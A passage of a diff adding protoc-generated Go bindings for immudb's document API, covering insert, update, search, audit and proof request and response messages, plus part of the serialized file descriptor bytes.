+func (x *DocumentInsertManyRequest) Reset() { + *x = DocumentInsertManyRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[15] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertManyRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertManyRequest) ProtoMessage() {} + +func (x *DocumentInsertManyRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[15] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertManyRequest.ProtoReflect.Descriptor instead. +func (*DocumentInsertManyRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{15} +} + +func (x *DocumentInsertManyRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentInsertManyRequest) GetDocuments() []*_struct.Struct { + if x != nil { + return x.Documents + } + return nil +} + +type DocumentInsertManyResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + DocumentIds []string `protobuf:"bytes,2,rep,name=documentIds,proto3" json:"documentIds,omitempty"` +} + +func (x *DocumentInsertManyResponse) Reset() { + *x = DocumentInsertManyResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[16] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertManyResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertManyResponse) ProtoMessage() {} + +func (x *DocumentInsertManyResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[16] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertManyResponse.ProtoReflect.Descriptor instead. +func (*DocumentInsertManyResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{16} +} + +func (x *DocumentInsertManyResponse) GetTransactionId() uint64 { + if x != nil { + return x.TransactionId + } + return 0 +} + +func (x *DocumentInsertManyResponse) GetDocumentIds() []string { + if x != nil { + return x.DocumentIds + } + return nil +} + +type DocumentUpdateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` + Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentUpdateRequest) Reset() { + *x = DocumentUpdateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[17] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentUpdateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentUpdateRequest) ProtoMessage() {} + +func (x *DocumentUpdateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[17] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentUpdateRequest.ProtoReflect.Descriptor instead. +func (*DocumentUpdateRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{17} +} + +func (x *DocumentUpdateRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentUpdateRequest) GetQuery() *Query { + if x != nil { + return x.Query + } + return nil +} + +func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentUpdateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Revision *DocumentAtRevision `protobuf:"bytes,1,opt,name=revision,proto3" json:"revision,omitempty"` +} + +func (x *DocumentUpdateResponse) Reset() { + *x = DocumentUpdateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[18] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentUpdateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentUpdateResponse) ProtoMessage() {} + +func (x *DocumentUpdateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[18] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentUpdateResponse.ProtoReflect.Descriptor instead. +func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{18} +} + +func (x *DocumentUpdateResponse) GetRevision() *DocumentAtRevision { + if x != nil { + return x.Revision + } + return nil +} + +type DocumentSearchRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` + Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` + Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,5,opt,name=perPage,proto3" json:"perPage,omitempty"` +} + +func (x *DocumentSearchRequest) Reset() { + *x = DocumentSearchRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[19] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchRequest) ProtoMessage() {} + +func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[19] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. +func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{19} +} + +func (x *DocumentSearchRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentSearchRequest) GetQuery() *Query { + if x != nil { + return x.Query + } + return nil +} + +func (x *DocumentSearchRequest) GetDesc() bool { + if x != nil { + return x.Desc + } + return false +} + +func (x *DocumentSearchRequest) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentSearchRequest) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +type Query struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Expressions []*QueryExpression `protobuf:"bytes,1,rep,name=expressions,proto3" json:"expressions,omitempty"` +} + +func (x *Query) Reset() { + *x = Query{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[20] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Query) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Query) ProtoMessage() {} + +func (x *Query) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[20] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Query.ProtoReflect.Descriptor instead. +func (*Query) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{20} +} + +func (x *Query) GetExpressions() []*QueryExpression { + if x != nil { + return x.Expressions + } + return nil +} + +type QueryExpression struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + FieldComparisons []*FieldComparison `protobuf:"bytes,1,rep,name=fieldComparisons,proto3" json:"fieldComparisons,omitempty"` +} + +func (x *QueryExpression) Reset() { + *x = QueryExpression{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[21] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *QueryExpression) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*QueryExpression) ProtoMessage() {} + +func (x *QueryExpression) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[21] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. +func (*QueryExpression) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{21} +} + +func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { + if x != nil { + return x.FieldComparisons + } + return nil +} + +type FieldComparison struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator ComparisonOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.model.ComparisonOperator" json:"operator,omitempty"` + Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *FieldComparison) Reset() { + *x = FieldComparison{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[22] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *FieldComparison) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*FieldComparison) ProtoMessage() {} + +func (x *FieldComparison) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[22] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. +func (*FieldComparison) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{22} +} + +func (x *FieldComparison) GetField() string { + if x != nil { + return x.Field + } + return "" +} + +func (x *FieldComparison) GetOperator() ComparisonOperator { + if x != nil { + return x.Operator + } + return ComparisonOperator_EQ +} + +func (x *FieldComparison) GetValue() *_struct.Value { + if x != nil { + return x.Value + } + return nil +} + +type DocumentSearchResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Revisions []*DocumentAtRevision `protobuf:"bytes,1,rep,name=revisions,proto3" json:"revisions,omitempty"` +} + +func (x *DocumentSearchResponse) Reset() { + *x = DocumentSearchResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[23] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchResponse) ProtoMessage() {} + +func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[23] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. +func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{23} +} + +func (x *DocumentSearchResponse) GetRevisions() []*DocumentAtRevision { + if x != nil { + return x.Revisions + } + return nil +} + +type DocumentAtRevision struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` + Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentAtRevision) Reset() { + *x = DocumentAtRevision{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[24] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentAtRevision) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentAtRevision) ProtoMessage() {} + +func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[24] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead. +func (*DocumentAtRevision) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{24} +} + +func (x *DocumentAtRevision) GetTransactionId() uint64 { + if x != nil { + return x.TransactionId + } + return 0 +} + +func (x *DocumentAtRevision) GetRevision() uint64 { + if x != nil { + return x.Revision + } + return 0 +} + +func (x *DocumentAtRevision) GetDocument() *_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentAuditRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` + Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,5,opt,name=perPage,proto3" json:"perPage,omitempty"` +} + +func (x *DocumentAuditRequest) Reset() { + *x = DocumentAuditRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[25] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentAuditRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentAuditRequest) ProtoMessage() {} + +func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[25] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. +func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{25} +} + +func (x *DocumentAuditRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentAuditRequest) GetDocumentId() string { + if x != nil { + return x.DocumentId + } + return "" +} + +func (x *DocumentAuditRequest) GetDesc() bool { + if x != nil { + return x.Desc + } + return false +} + +func (x *DocumentAuditRequest) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentAuditRequest) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +type DocumentAuditResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Revisions []*DocumentAtRevision `protobuf:"bytes,1,rep,name=revisions,proto3" json:"revisions,omitempty"` +} + +func (x *DocumentAuditResponse) Reset() { + *x = DocumentAuditResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[26] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentAuditResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentAuditResponse) ProtoMessage() {} + +func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[26] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. +func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{26} +} + +func (x *DocumentAuditResponse) GetRevisions() []*DocumentAtRevision { + if x != nil { + return x.Revisions + } + return nil +} + +type DocumentProofRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + TransactionId uint64 `protobuf:"varint,3,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + ProofSinceTransactionId uint64 `protobuf:"varint,4,opt,name=proofSinceTransactionId,proto3" json:"proofSinceTransactionId,omitempty"` +} + +func (x *DocumentProofRequest) Reset() { + *x = DocumentProofRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[27] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentProofRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentProofRequest) ProtoMessage() {} + +func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[27] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. +func (*DocumentProofRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{27} +} + +func (x *DocumentProofRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentProofRequest) GetDocumentId() string { + if x != nil { + return x.DocumentId + } + return "" +} + +func (x *DocumentProofRequest) GetTransactionId() uint64 { + if x != nil { + return x.TransactionId + } + return 0 +} + +func (x *DocumentProofRequest) GetProofSinceTransactionId() uint64 { + if x != nil { + return x.ProofSinceTransactionId + } + return 0 +} + +type DocumentProofResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` + CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` + EncodedDocument []byte `protobuf:"bytes,3,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` + VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,4,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` +} + +func (x *DocumentProofResponse) Reset() { + *x = DocumentProofResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[28] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentProofResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentProofResponse) ProtoMessage() {} + +func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[28] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. +func (*DocumentProofResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{28} +} + +func (x *DocumentProofResponse) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +func (x *DocumentProofResponse) GetCollectionId() uint32 { + if x != nil { + return x.CollectionId + } + return 0 +} + +func (x *DocumentProofResponse) GetEncodedDocument() []byte { + if x != nil { + return x.EncodedDocument + } + return nil +} + +func (x *DocumentProofResponse) GetVerifiableTx() *schema.VerifiableTxV2 { + if x != nil { + return x.VerifiableTx + } + return nil +} + +var File_documents_proto protoreflect.FileDescriptor + +var file_documents_proto_rawDesc = []byte{ + 0x0a, 0x0f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x12, 0x0c, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x1a, + 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, + 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x53, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x54, 0x0a, 0x18, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, + 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, + 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x65, 0x73, 0x22, 0x48, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x2b, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, + 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x3b, 0x0a, + 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, + 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 